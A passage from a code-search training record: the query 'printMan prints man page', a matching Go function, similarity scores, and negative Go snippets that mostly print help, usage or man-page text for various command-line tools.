{\n\t\tresult = append(result, prompt.Suggest{\n\t\t\tText: pi.Pipeline.Name,\n\t\t\tDescription: pi.Details.Description,\n\t\t})\n\t\treturn nil\n\t}); err != nil {\n\t\treturn nil, CacheNone\n\t}\n\treturn result, CacheAll\n}", "func (job *Job) Complete() error {\n\tdefer close(job.statusChan)\n\treturn job.sshclient.Close()\n}" ]
[ "0.7543102", "0.6336671", "0.63106585", "0.610397", "0.60926086", "0.6042343", "0.5869837", "0.58365184", "0.5782093", "0.56852394", "0.5645756", "0.5562036", "0.553493", "0.5518101", "0.5499502", "0.54641956", "0.5390887", "0.53255993", "0.5296073", "0.52767366", "0.5222355", "0.5209751", "0.5161092", "0.514073", "0.5131484", "0.5117264", "0.5094607", "0.50757086", "0.50692445", "0.50475115", "0.504327", "0.5042784", "0.5036714", "0.5026672", "0.5023904", "0.5023307", "0.50141215", "0.5003628", "0.50000286", "0.49996358", "0.49993482", "0.49819806", "0.49652466", "0.49615437", "0.49575734", "0.4956625", "0.49487445", "0.49364713", "0.49197578", "0.49164236", "0.49108377", "0.49038577", "0.48971775", "0.4887081", "0.48827353", "0.4871867", "0.486521", "0.48621386", "0.483859", "0.4829386", "0.48266268", "0.48225507", "0.480745", "0.48073483", "0.48069575", "0.47993216", "0.4792206", "0.47762063", "0.47750485", "0.47674218", "0.4760842", "0.47606155", "0.47527727", "0.47496852", "0.47465616", "0.4737398", "0.47361517", "0.47348744", "0.47259128", "0.47145727", "0.47080922", "0.4706625", "0.47013327", "0.47013316", "0.46877566", "0.46859053", "0.46851465", "0.4683366", "0.4682871", "0.46809965", "0.4675804", "0.46747652", "0.4666084", "0.4663029", "0.46576256", "0.46571425", "0.4652206", "0.46318582", "0.46316922", "0.46283618" ]
0.76840794
0
printMan prints man page
func printMan() { fmt.Println( man.Generate( genUsage(), genAbout(""), ), ) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func printHelp(h helper, pp parentParser) {\n\thelpWriter.Write([]byte(h.help(pp)))\n}", "func showManual(manual string) error {\n\tmanBinary, err := exec.LookPath(\"man\")\n\tif err != nil {\n\t\tif errors.Is(err, exec.ErrNotFound) {\n\t\t\tfmt.Printf(\"toolbox - Tool for containerized command line environments on Linux\\n\")\n\t\t\tfmt.Printf(\"\\n\")\n\t\t\tfmt.Printf(\"Common commands are:\\n\")\n\n\t\t\tusage := getUsageForCommonCommands()\n\t\t\tfmt.Printf(\"%s\", usage)\n\n\t\t\tfmt.Printf(\"\\n\")\n\t\t\tfmt.Printf(\"Go to https://github.com/containers/toolbox for further information.\\n\")\n\t\t\treturn nil\n\t\t}\n\n\t\treturn errors.New(\"failed to look up man(1)\")\n\t}\n\n\tmanualArgs := []string{\"man\", manual}\n\tenv := os.Environ()\n\n\tstderrFd := os.Stderr.Fd()\n\tstderrFdInt := int(stderrFd)\n\tstdoutFd := os.Stdout.Fd()\n\tstdoutFdInt := int(stdoutFd)\n\tif err := syscall.Dup3(stdoutFdInt, stderrFdInt, 0); err != nil {\n\t\treturn errors.New(\"failed to redirect standard error to standard output\")\n\t}\n\n\tif err := syscall.Exec(manBinary, manualArgs, env); err != nil {\n\t\treturn errors.New(\"failed to invoke man(1)\")\n\t}\n\n\treturn nil\n}", "func printHelp(parser *flags.Parser) {\n\tparser.WriteHelp(os.Stderr)\n\tos.Exit(0)\n}", "func PrintHelp() {\n\tfmt.Print(usage)\n}", "func (g *Getter) PrintHelp(indent string) {\n\tfmt.Println(indent, \"The get command downloads and installs a Fyne application.\")\n\tfmt.Println(indent, \"A single parameter is required to specify the Go package, as with \\\"go get\\\"\")\n}", "func PrintHelp() {\n fs := setupFlags(&options{})\n fs.Usage()\n}", "func PrintCmdHelp(toolName string, command Command) {\n\tbw := bufio.NewWriter(os.Stdout)\n\n\tdata := struct {\n\t\tToolName string\n\t\tCmdUsageLine string\n\t\tCmdLong string\n\t}{\n\t\ttoolName,\n\t\tcommand.OptionInfo().UsageLine,\n\t\tcommand.OptionInfo().Long,\n\t}\n\n\tfgutil.RenderTemplate(bw, tplCmdHelp, data)\n\tbw.Flush()\n}", "func PrintHelp(parser *flags.Parser) {\n\tparser.WriteHelp(os.Stdout)\n\tfmt.Println(\"\\n\" +\n\t\t\"Notes:\\n\" +\n\t\t\" [1] Semver compatible release version. If the specified game doesn't have this release yet, it will be created.\")\n}", "func Manual(req []string, s *dg.Session, msg *dg.MessageCreate) string {\n\tif len(req) < 2 {\n\t\thelpMsg := fmt.Sprintf(\"Usage: `<prefix>man command`\")\n\t\treturn helpMsg\n\t}\n\n\tswitch req[1] {\n\tcase \"gif\":\n\t\treturn gif\n\tcase \"man\":\n\t\treturn man\n\tcase \"meme\":\n\t\treturn meme\n\tcase \"ping\":\n\t\treturn ping\n\tcase \"rule34\":\n\t\treturn rule34\n\t}\n\treturn \"Sorry, I don't have a manual for that :confused:\"\n}", "func main() {\n\tflag.Parse()\n\n\tinfof(os.Stderr, \"Converting man pages into code...\\n\")\n\trootDir, fs := readManDir()\n\tmanDir := filepath.Join(rootDir, \"docs\", \"man\")\n\tout, err := os.Create(filepath.Join(rootDir, \"commands\", \"mancontent_gen.go\"))\n\tif err != nil {\n\t\twarnf(os.Stderr, \"Failed to create go file: %v\\n\", err)\n\t\tos.Exit(2)\n\t}\n\tout.WriteString(\"package commands\\n\\nfunc init() {\\n\")\n\tout.WriteString(\"\\t// THIS FILE IS GENERATED, DO NOT EDIT\\n\")\n\tout.WriteString(\"\\t// Use 'go generate ./commands' to update\\n\")\n\tfileregex := regexp.MustCompile(`git-lfs(?:-([A-Za-z\\-]+))?.\\d.ronn`)\n\theaderregex := regexp.MustCompile(`^###?\\s+([A-Za-z0-9\\(\\) ]+)`)\n\t// only pick up caps in links to avoid matching optional args\n\tlinkregex := regexp.MustCompile(`\\[([A-Z\\-\\(\\) ]+)\\]`)\n\t// man links\n\tmanlinkregex := regexp.MustCompile(`(git)(?:-(lfs))?-([a-z\\-]+)\\(\\d\\)`)\n\tcount := 0\n\tfor _, f := range fs {\n\t\tif match := fileregex.FindStringSubmatch(f.Name()); match != nil {\n\t\t\tinfof(os.Stderr, \"%v\\n\", f.Name())\n\t\t\tcmd := match[1]\n\t\t\tif len(cmd) == 0 {\n\t\t\t\t// This is git-lfs.1.ronn\n\t\t\t\tcmd = \"git-lfs\"\n\t\t\t}\n\t\t\tout.WriteString(\"\\tManPages[\\\"\" + cmd + \"\\\"] = `\")\n\t\t\tcontentf, err := os.Open(filepath.Join(manDir, f.Name()))\n\t\t\tif err != nil {\n\t\t\t\twarnf(os.Stderr, \"Failed to open %v: %v\\n\", f.Name(), err)\n\t\t\t\tos.Exit(2)\n\t\t\t}\n\t\t\t// Process the ronn to make it nicer as help text\n\t\t\tscanner := bufio.NewScanner(contentf)\n\t\t\tfirstHeaderDone := false\n\t\t\tskipNextLineIfBlank := false\n\t\t\tlastLineWasBullet := false\n\t\tscanloop:\n\t\t\tfor scanner.Scan() {\n\t\t\t\tline := scanner.Text()\n\t\t\t\ttrimmedline := strings.TrimSpace(line)\n\t\t\t\tif skipNextLineIfBlank && len(trimmedline) == 0 {\n\t\t\t\t\tskipNextLineIfBlank = false\n\t\t\t\t\tlastLineWasBullet = false\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t// Special case headers\n\t\t\t\tif hmatch := headerregex.FindStringSubmatch(line); hmatch != nil {\n\t\t\t\t\theader := strings.ToLower(hmatch[1])\n\t\t\t\t\tswitch header {\n\t\t\t\t\tcase \"synopsis\":\n\t\t\t\t\t\t// Ignore this, just go direct to command\n\n\t\t\t\t\tcase \"description\":\n\t\t\t\t\t\t// Just skip the header & newline\n\t\t\t\t\t\tskipNextLineIfBlank = true\n\t\t\t\t\tcase \"options\":\n\t\t\t\t\t\tout.WriteString(\"Options:\" + \"\\n\")\n\t\t\t\t\tcase \"see also\":\n\t\t\t\t\t\t// don't include any content after this\n\t\t\t\t\t\tbreak scanloop\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tout.WriteString(strings.ToUpper(header[:1]) + header[1:] + \"\\n\")\n\t\t\t\t\t\tout.WriteString(strings.Repeat(\"-\", len(header)) + \"\\n\")\n\t\t\t\t\t}\n\t\t\t\t\tfirstHeaderDone = true\n\t\t\t\t\tlastLineWasBullet = false\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tif lmatches := linkregex.FindAllStringSubmatch(line, -1); lmatches != nil {\n\t\t\t\t\tfor _, lmatch := range lmatches {\n\t\t\t\t\t\tlinktext := strings.ToLower(lmatch[1])\n\t\t\t\t\t\tline = strings.Replace(line, lmatch[0], `\"`+strings.ToUpper(linktext[:1])+linktext[1:]+`\"`, 1)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif manmatches := manlinkregex.FindAllStringSubmatch(line, -1); manmatches != nil {\n\t\t\t\t\tfor _, manmatch := range manmatches {\n\t\t\t\t\t\tline = strings.Replace(line, manmatch[0], strings.Join(manmatch[1:], \" \"), 1)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Skip content until after first header\n\t\t\t\tif !firstHeaderDone {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\t// OK, content here\n\n\t\t\t\t// remove characters that markdown would render invisible in a text env.\n\t\t\t\tfor _, invis := range []string{\"`\", \"<br>\"} {\n\t\t\t\t\tline = strings.Replace(line, invis, \"\", -1)\n\t\t\t\t}\n\n\t\t\t\t// indent bullets\n\t\t\t\tif strings.HasPrefix(line, \"*\") {\n\t\t\t\t\tlastLineWasBullet = true\n\t\t\t\t} else if lastLineWasBullet && !strings.HasPrefix(line, \" \") {\n\t\t\t\t\t// indent paragraphs under bullets if not already done\n\t\t\t\t\tline = \" \" + line\n\t\t\t\t}\n\n\t\t\t\tout.WriteString(line + \"\\n\")\n\t\t\t}\n\t\t\tout.WriteString(\"`\\n\")\n\t\t\tcontentf.Close()\n\t\t\tcount++\n\t\t}\n\t}\n\tout.WriteString(\"}\\n\")\n\tinfof(os.Stderr, \"Successfully processed %d man pages.\\n\", count)\n\n}", "func (cli *CLI) PrintHelp(base Command, name string, args []string) error {\n\treturn cli.printHelp(cli.Out, base, name, args)\n}", "func PrintCommandUsage(cms string) {\n\tswitch cms {\n\tcase \"monitor\":\n\t\tprintDashes()\n\t\tfmt.Println(\"- switches the given interface in to MONITOR mode\")\n\t\tfmt.Println(\"- example: \\\\monitor\")\n\t\tprintDashes()\n\t\tbreak\n\tcase \"managed\":\n\t\tprintDashes()\n\t\tfmt.Println(\"- switches the given interface in to MANAGED mode\")\n\t\tfmt.Println(\"- example: \\\\managed\")\n\t\tprintDashes()\n\t\tbreak\n\tcase \"listen\":\n\t\tprintDashes()\n\t\tfmt.Println(\"- listen all or specific bssid traffic\")\n\t\tfmt.Println(\"- example (listen all): \\\\listen \")\n\t\tfmt.Println(\"- example (listen bssid only): \\\\listen bssid\")\n\t\tprintDashes()\n\tdefault:\n\t\tprintDashes()\n\t\tfmt.Println(\"- no help found for arg \" + cms)\n\t\tprintDashes()\n\t}\n}", "func helpPrinter(out io.Writer, templ string, data interface{}) {\n\tw := tabwriter.NewWriter(out, 0, 8, 1, '\\t', 0)\n\tt := template.Must(template.New(\"help\").Parse(templ))\n\terr := t.Execute(w, data)\n\tcheck(err)\n\n\tw.Flush()\n\tos.Exit(0)\n}", "func printCommands(cmds []Commander) {\n\tconst format = \"%v\\t%v\\t%v\\n\"\n\ttw := new(tabwriter.Writer).Init(os.Stdout, 0, 8, 2, ' ', 0)\n\tfmt.Fprintf(tw, format, \"Alias\", \"Command\", \"Args\")\n\tfmt.Fprintf(tw, format, \"-----\", \"-------\", \"----\")\n\tfor _, t := range cmds {\n\t\tfmt.Fprintf(tw, format, t.Alias, t.Command, strings.Join(t.Args, \" \"))\n\t}\n\ttw.Flush() // calculate column widths and print table\n}", "func (s *Server) PrintHelp(writer io.Writer) {\n\tfmt.Fprintln(writer, serverDocumentation)\n}", "func printHelp() {\n\tfmt.Printf(helpMessage)\n\tos.Exit(0)\n}", "func Print(app, ver, gitRev string, gomod []byte) {\n\tfmtutil.SeparatorTitleColorTag = \"{s-}\"\n\tfmtutil.SeparatorFullscreen = false\n\tfmtutil.SeparatorColorTag = \"{s-}\"\n\tfmtutil.SeparatorSize = 80\n\n\tshowApplicationInfo(app, ver, gitRev)\n\tshowOSInfo()\n\tshowDepsInfo(gomod)\n\n\tfmtutil.Separator(false)\n}", "func PrintCmdUsage(w io.Writer, toolName string, command Command) {\n\tbw := bufio.NewWriter(w)\n\n\tdata := struct {\n\t\tToolName string\n\t\tCmdUsageLine string\n\t}{\n\t\ttoolName,\n\t\tcommand.OptionInfo().UsageLine,\n\t}\n\n\tfgutil.RenderTemplate(bw, tplCmdUsage, data)\n\tbw.Flush()\n}", "func (cli *CLI) PrintCommands() {\n\tfor _, command := range cli.commands {\n\t\tfmt.Printf(\" slackcli %s\", command.Name)\n\t\tfor _, param := range command.Params {\n\t\t\tfmt.Printf(\" [%s]\", param)\n\t\t}\n\t\tfmt.Println(\" \" + command.Help)\n\t}\n}", "func (c *Cmd) PrintHelp() {\n\tc.printHelp(false)\n}", "func printHelp() {\n fmt.Printf(\"Usage: %s [flags] <in> <out>\\n\\n\", os.Args[0])\n flag.PrintDefaults()\n}", "func printHelp() {\n\n\n\n\t// Print some help\n\tfmt.Print(\"\\n\");\n\tfmt.Print(\"Usage:\\n\");\n\tfmt.Print(\" gatos --raddr=xxx --laddr=xxxx --macho=xxx --dsym=xxx\\n\");\n\tfmt.Print(\"\\n\");\n\tfmt.Print(\"Example:\\n\");\n\tfmt.Print(\" Thread 0 Crashed:\\n\");\n\tfmt.Print(\" 0 AppName 0x000043cc 0x1000 + 13260\\n\");\n\tfmt.Print(\" ^ ^\\n\");\n\tfmt.Print(\" runtime address load address\\n\");\n\tfmt.Print(\" 1 CoreFoundation 0x37d7342e 0x37d60000 + 78894\\n\");\n\tfmt.Print(\" 2 UIKit 0x351ec9e4 0x351ce000 + 125412\\n\");\n\tfmt.Print(\" 3 UIKit 0x351ec9a0 0x351ce000 + 125344\\n\");\n\tfmt.Print(\"\\n\");\n\tfmt.Print(\" $ gatos --raddr=0x000043cc --laddr=0x1000 --macho=appname --dsym=appname.dsym\\n\");\n\tfmt.Print(\" -[CPrefsViewController pickImage:] (CPrefsViewController.mm:332)\\n\");\n\tfmt.Print(\"\\n\");\n\tfmt.Print(\"Notes:\\n\");\n\tfmt.Print(\" o Input files are found inside app/.dSYM bundles.\\n\");\n\tfmt.Print(\" o Does not support fat binaries; lipo -thin the app/dsym before processing.\\n\");\n\tfmt.Print(\" o Does not support DWARF line table; line numbers are to function, not address.\\n\");\n\tfmt.Print(\"\\n\");\n\t\n\tos.Exit(-1);\n}", "func PrintUsage() {\n\tfmt.Printf(`\n Usage: %s <command>\n\n command:\n\n init - create a new app\n\n add <subcommand>\n\n subcommand:\n\n view <view name> - create a new view with the given name\n model <model name> - create a new model with the given name\n font <font string> - add a font from Google Web Fonts\n\n remove <subcommand>\n\n subcommand:\n\n view <view name> - remove the view with the given name\n model <model name> - remove the model with the given name\n font <font string> - remove a font\n\n`, path.Base(os.Args[0]))\n}", "func generateMan(info os.FileInfo, name string) {\n\tcontents, err := ioutil.ReadFile(info.Name())\n\tif err != nil {\n\t\tfmt.Printf(\"Could not read file: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tout := md2man.Render(contents)\n\tif len(out) == 0 {\n\t\tfmt.Println(\"Failed to render\")\n\t\tos.Exit(1)\n\t}\n\tcomplete := filepath.Join(m1Dir, name)\n\tif err := ioutil.WriteFile(complete, out, info.Mode()); err != nil {\n\t\tfmt.Printf(\"Could not write file: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\n\t// Check duplicates (e.g. lu and list-updates)\n\tname = duplicateName(name)\n\tif name != \"\" {\n\t\tcomplete = filepath.Join(m1Dir, name)\n\t\tif err := ioutil.WriteFile(complete, out, info.Mode()); err != nil {\n\t\t\tfmt.Printf(\"Could not write file: %v\\n\", err)\n\t\t\tos.Exit(1)\n\t\t}\n\t}\n}", "func printCLIHelp() {\n\tfmt.Println(\"Valid Commands:\")\n\tfmt.Println(\"(if not joined) join intro\")\n\tfmt.Println(\"(if not joined) join [port_number]\")\n\tfmt.Println(\"(if joined) leave\")\n\tfmt.Println(\"(if joined) members\")\n\tfmt.Println(\"(if joined) id\")\n\tfmt.Println(\"(if joined) gossip\")\n\tfmt.Println(\"(if joined) all-to-all\")\n\tfmt.Println(\"(if joined) put [filepath]\")\n\tfmt.Println(\"(if joined) get [filename]\")\n\tfmt.Println(\"(if joined) delete [filename]\")\n\tfmt.Println(\"(if joined) ls [filename]\")\n\tfmt.Println(\"(if joined) store\")\n\tfmt.Println(\"(all scenarios) exit\")\n}", "func PrintHelp() {\n\n\thelpString := `\n Usage: ./nexus-repository-cli.exe [option] [parameters...]\n\n [options]\n -list\n List the repositories in Nexus. Optional parameters: repoType, repoPolicy\n -create\n Create a repository in Nexus. Required parameter: repoId, repoType, provider, repoPolicy (only for maven2). Optional parameter: exposed\n -delete\n Delete a repository in Nexus. Required parameter: repoId\n -addRepoToGroup\n Add a reposirory to a group repository. Required parameters: repoId, repositories\n\n [parameters]\n -nexusUrl string\n Nexus server URL (default \"http://localhost:8081/nexus\")\n -exposed\n Set this flag to expose the repository in nexus.\n -username string\n Username for authentication\n -password string\n Password for authentication\n -repoId string\n ID of the Repository\n -repoType string\n Type of a repository. Possible values : hosted/proxy/group\n -repoPolicy string\n Policy of the hosted repository. Possible values : snapshot/release\n -provider string\n Repository provider. Possible values: maven2/npm/nuget\n -remoteStorageUrl string\n Remote storage url to proxy in Nexus\n -repositories string\n Comma separated value of repositories to be added to a group.\n -verbose\n Set this flag for Debug logs.\n\t`\n\n\tflag.Usage = func() {\n\t\tfmt.Fprintf(os.Stderr, helpString)\n\t}\n}", "func (p Program) PrintNormal(w io.Writer) {\n\tfor _, s := range p.lessons {\n\t\ts.Print(w, p.label, 0)\n\t}\n\tfmt.Fprintf(w, \"echo \\\" \\\"\\n\")\n\tfmt.Fprintf(w, \"echo \\\"All done. No errors.\\\"\\n\")\n}", "func TestPrintHelp(t *testing.T) {\n\tsavedStdout := os.Stdout\n\tdefer func() { os.Stdout = savedStdout }()\n\n\tstdoutTmpFile, err := ioutil.TempFile(\"\", \"joincap_output_\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tfilename := stdoutTmpFile.Name()\n\tdefer os.Remove(filename)\n\n\tos.Stdout = stdoutTmpFile\n\terr = joincap([]string{\"joincap\", \"-h\"})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tstdoutTmpFile.Close()\n\n\tstdoutBytes, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\thelp := strings.TrimSpace(string(stdoutBytes))\n\n\tif !strings.HasPrefix(help, \"Usage:\") {\n\t\tt.FailNow()\n\t}\n}", "func (a *Parser) PrintDoc(w io.Writer, s ...interface{}) {\n\tswitch {\n\tcase len(a.doc) > 0:\n\t\tfor i, line := range a.doc {\n\t\t\tif i == 0 {\n\t\t\t\tif len(s) > 0 {\n\t\t\t\t\tfmt.Fprintf(w, line, s...)\n\t\t\t\t} else {\n\t\t\t\t\tfmt.Fprintln(w, line)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfmt.Fprintln(w, line)\n\t\t\t}\n\t\t}\n\tcase len(s) == 0 && len(a.seq) == 0:\n\t\tfmt.Fprintln(w, \"the command takes no parameter\")\n\tcase len(s) == 0 && len(a.seq) > 0:\n\t\tfmt.Fprintln(w, \"the command takes these parameters:\")\n\tcase len(s) == 1 && len(a.seq) == 0:\n\t\tfmt.Fprintf(w, \"Usage: %v\\n\", s[0])\n\tcase len(s) == 1 && len(a.seq) > 0:\n\t\tfmt.Fprintf(w, \"Usage: %v parameters...\\n\\nParameters:\\n\", s[0])\n\tcase len(s) > 0 && len(a.seq) == 0:\n\t\tfmt.Fprintf(w, \"Usage: %v\\n\", s)\n\tcase len(s) > 0 && len(a.seq) > 0:\n\t\tfmt.Fprintf(w, \"Usage: %v parameters...\\n\\nParameters:\\n\", s)\n\t}\n\n\tsyn := buildSynonyms(a)\n\tfor _, n := range a.seq {\n\t\tp := a.params[n]\n\t\tvalue := reflValue(p.target)\n\t\tdetails := \"\"\n\t\ttyp := value.Type()\n\t\tswitch value.Kind() {\n\t\tcase reflect.Slice:\n\t\t\ttyp = typ.Elem()\n\t\t\tdetails = \"\"\n\t\t\tif p.splitter != nil {\n\t\t\t\tdetails += fmt.Sprintf(\", split: %v\", p.splitter)\n\t\t\t}\n\t\t\tif p.limit > 0 {\n\t\t\t\tdetails += fmt.Sprintf(\", 0-%d value%s\", p.limit, plural(p.limit))\n\t\t\t} else {\n\t\t\t\tdetails += \", any number of values\"\n\t\t\t}\n\t\t\tif value.Len() > 0 {\n\t\t\t\tdetails += fmt.Sprintf(\" (default: %v)\", value)\n\t\t\t}\n\t\tcase reflect.Array:\n\t\t\ttyp = typ.Elem()\n\t\t\tdetails = \"\"\n\t\t\tif p.splitter != nil {\n\t\t\t\tdetails += fmt.Sprintf(\", split: %v\", p.splitter)\n\t\t\t}\n\t\t\tdetails += fmt.Sprintf(\", exactly %d value%s\", p.limit, plural(p.limit))\n\t\tcase reflect.Map:\n\t\t\tdetails = \"\"\n\t\t\tif value.Len() > 0 {\n\t\t\t\tdetails += fmt.Sprintf(\" (default: %v)\", value)\n\t\t\t}\n\t\tdefault:\n\t\t\t// scalar\n\t\t\tif p.limit == 0 {\n\t\t\t\tdetails = fmt.Sprintf(\", optional (default: %v)\", value)\n\t\t\t}\n\t\t}\n\t\tif n == p.name {\n\t\t\tinfo := fmt.Sprintf(\"type: %s%s\", typ, details)\n\t\t\tn = syn[n]\n\t\t\tnext := -1\n\t\t\tif len(n) > 8 {\n\t\t\t\tfmt.Fprintf(w, \" %s\\n\", n)\n\t\t\t\tnext = 0\n\t\t\t} else {\n\t\t\t\tif len(p.doc) > 0 {\n\t\t\t\t\tfmt.Fprintf(w, \" %-8s %s\\n\", n, p.doc[0])\n\t\t\t\t\tnext = 1\n\t\t\t\t} else {\n\t\t\t\t\tfmt.Fprintf(w, \" %-8s %s\\n\", n, info)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif next >= 0 {\n\t\t\t\tfor _, s := range p.doc[next:] {\n\t\t\t\t\tfmt.Fprintf(w, \" %-8s %s\\n\", \"\", s)\n\t\t\t\t}\n\t\t\t\tfmt.Fprintf(w, \" %-8s %s\\n\", \"\", info)\n\t\t\t}\n\t\t}\n\t}\n}", "func HelpPrinter(w io.Writer, templ string, data interface{}) {\n\tb := helpPreprocessor(w, templ, data, false)\n\tw.Write(Render(b))\n}", "func PrintHelp() {\n\n\tfmt.Println(`usage: gpress [--decompress] [--verbose] --sourcefile <file>\n\n--decompress decompress file\n--help display help\n--sourcefile file to be compressed or decompressed\n--verbose add debug output\n--version display program version`)\n}", "func (b *Base) PrintUsage() {\n\tvar usageTemplate = `Usage: c14 {{.UsageLine}}\n\n{{.Help}}\n\n{{.Options}}\n{{.ExamplesHelp}}\n`\n\n\tt := template.New(\"full\")\n\ttemplate.Must(t.Parse(usageTemplate))\n\t_ = t.Execute(os.Stdout, b)\n}", "func (pkg *MCPMPackage) PrintInfo() {\n\tfmt.Printf(\" ID: %d\\n Name: %s (%s)\\n Type: %s\\n\", pkg.id, pkg.title, pkg.name, pkg.ptype)\n}", "func Print(args ...string) error {\n\tfmt.Printf(\n\t\t`HELP\nREGISTER <username>\nCREATE_LISTING <username> <title> <description> <price> <category>\nDELETE_LISTING <username> <listing_id>\nGET_LISTING <username> <listing_id>\nGET_CATEGORY <username> <category> {sort_price|sort_time} {asc|dsc}\nGET_TOP_CATEGORY <username>\nEXIT\n`)\n\treturn nil\n}", "func printUsage() {\n\tfmt.Println(\"Usage:\")\n\tfmt.Println(\"- list jobs\\t// List all configured jobs\")\n\tfmt.Println(\"- list machines\\t// List all configured machines\")\n\tfmt.Println(\"- list scripts\\t// List all configured scripts\")\n\tfmt.Println(\"- list logs\\t// List all stored logs\")\n\tfmt.Println(\"- run <job id>\\t// Run the job with the given id\")\n\tfmt.Println(\"- exec <action id>\\t// Execute the action with the given id\")\n\tfmt.Println(\"- logs <log id>\\t// Tail the log with the given id\")\n\tfmt.Println(\"- ssh <machine id>\\t// SSH into the machine with the given id\")\n\tfmt.Println(\"- scp <machine id>:<path> <machine id>:<path>\\t// Copy files/directories from one machine to another. Only one of the machines can be specified. The other must be a path to a local file / directory without ':'\")\n fmt.Println(\"- mount <machine id> <remote path> <local path>\\t// Mount a remote directory (to which you have read access) locally\")\n fmt.Println(\"- unmount <local path>\\t// Unmount a previously Mount'ed directory\")\n}", "func (tokens TokenBundle) Print() {\n\tfmt.Println(\"Auth token\", tokens.Auth.Data)\n\tfmt.Println(\"Timestamp \", tokens.Auth.Timestamp)\n\tfmt.Println(\"Master:\")\n\tfmt.Println(strings.Replace(tokens.Master, \"-\", \"\\n\", -1))\n}", "func (i *CmdLine) PrintStart() {\n\tfmt.Printf(\"Ok, es geht los!\")\n}", "func PrintInfo(descriptorDir string, status *tor.RouterStatus) {\n\n\tdesc, err := tor.LoadDescriptorFromDigest(descriptorDir, status.Digest, status.Publication)\n\tif err == nil {\n\t\tif !printedBanner {\n\t\t\tfmt.Println(\"fingerprint,nickname,ip_addr,or_port,dir_port,flags,published,version,platform,bandwidthavg,bandwidthburst,uptime,familysize\")\n\t\t\tprintedBanner = true\n\t\t}\n\t\tfmt.Printf(\"%s,%s,%d,%d,%d,%d\\n\", status, desc.OperatingSystem, desc.BandwidthAvg, desc.BandwidthBurst, desc.Uptime, len(desc.Family))\n\t} else {\n\t\tif !printedBanner {\n\t\t\tfmt.Println(\"fingerprint,nickname,ip_addr,or_port,dir_port,flags,published,version\")\n\t\t\tprintedBanner = true\n\t\t}\n\t\tfmt.Println(status)\n\t}\n}", "func printFlag(w io.Writer, f *flag.Flag) {\n\texample, _ := flag.UnquoteUsage(f)\n\tif example != \"\" {\n\t\tfmt.Fprintf(w, \" -%s=<%s>\\n\", f.Name, example)\n\t} else {\n\t\tfmt.Fprintf(w, \" -%s\\n\", f.Name)\n\t}\n\n\tindented := wrapAtLength(f.Usage, 5)\n\tfmt.Fprintf(w, \"%s\\n\\n\", indented)\n}", "func (book Book) print_details() {\r\n\r\n\tfmt.Printf(\"%s was written by %s.\", book.name, book.author)\r\n\tfmt.Printf(\"\\nIt contains %d pages.\\n\", book.pages)\r\n}", "func (f *FakeRunner) podman(args []string, _ bool) (string, error) {\n\tswitch cmd := args[0]; cmd {\n\tcase \"--version\":\n\t\treturn \"podman version 1.6.4\", nil\n\n\tcase \"image\":\n\n\t\tif args[1] == \"inspect\" && args[2] == \"--format\" && args[3] == \"{{.Id}}\" {\n\t\t\tif args[3] == \"missing\" {\n\t\t\t\treturn \"\", &exec.ExitError{Stderr: []byte(\"Error: error getting image \\\"missing\\\": unable to find a name and tag match for missing in repotags: no such image\")}\n\t\t\t}\n\t\t\treturn \"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\", nil\n\t\t}\n\n\t}\n\treturn \"\", nil\n}", "func displayHelp(subcommand ...string) {\n\tswitch subcommand[0] {\n\tcase \"\":\n\t\tfmt.Println(MainHelp)\n\tcase \"run\":\n\t\tfmt.Println(RunHelp)\n\tcase \"build\":\n\t\tfmt.Println(BuildHelp)\n\tcase \"test\":\n\t\tfmt.Println(TestHelp)\n\tcase \"deps\":\n\t\tfmt.Println(DepsHelp)\n\tdefault:\n\t\tfmt.Println(MainHelp)\n\t}\n}", "func genUsage(w io.Writer, cmdName string) error {\n\t// Capture output from running:\n\t// foo -help\n\tbuf := new(bytes.Buffer)\n\tcmd := exec.Command(cmdName, \"-help\")\n\tcmd.Stderr = buf\n\tcmd.Run()\n\n\t// Add DO NOT EDIT notice.\n\tout := new(bytes.Buffer)\n\tfmt.Fprintf(out, \"// Generated by `usagen %s`; DO NOT EDIT.\\n\\n\", cmdName)\n\n\t// Prefix each line with \"// \".\n\tlines := strings.Split(buf.String(), \"\\n\")\n\tfor i, line := range lines {\n\t\tprefix := \"// \"\n\t\tif len(line) == 0 {\n\t\t\tif i == len(lines)-1 {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tprefix = \"//\"\n\t\t}\n\t\tfmt.Fprintf(out, \"%s%s\\n\", prefix, line)\n\t}\n\tout.WriteString(\"package main\\n\")\n\n\t// Write usage info to w.\n\tif _, err := w.Write(out.Bytes()); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\treturn nil\n}", "func PrintHelp() {\n\tfmt.Printf(\"[+] Author: brax (https://github.com/braaaax/gfz)\\n\")\n\tfmt.Printf(\"\\nUsage: gfz [options] <url>\\n\")\n\tfmt.Printf(\"Keyword: FUZZ, ..., FUZnZ wherever you put these keywords gfuzz will replace them with the values of the specified payload.\\n\\n\")\n\tfmt.Printf(\"Options:\\n\")\n\tfmt.Println(\"-h/--help : This help.\")\n\tfmt.Println(\"-w wordlist : Specify a wordlist file (alias for -z file,wordlist).\")\n\tfmt.Println(\"-z file/range/list,PAYLOAD : Where PAYLOAD is FILENAME or 1-10 or \\\"-\\\" separated sequence.\")\n\tfmt.Println(\"--hc/hl/hw/hh N[,N]+ : Hide responses with the specified code, lines, words, or chars.\")\n\tfmt.Println(\"--sc/sl/sw/sh N[,N]]+ : Show responses with the specified code, lines, words, or chars.\")\n\tfmt.Println(\"-t N : Specify the number of concurrent connections (10 default).\")\n\tfmt.Println(\"--post : Specify POST request 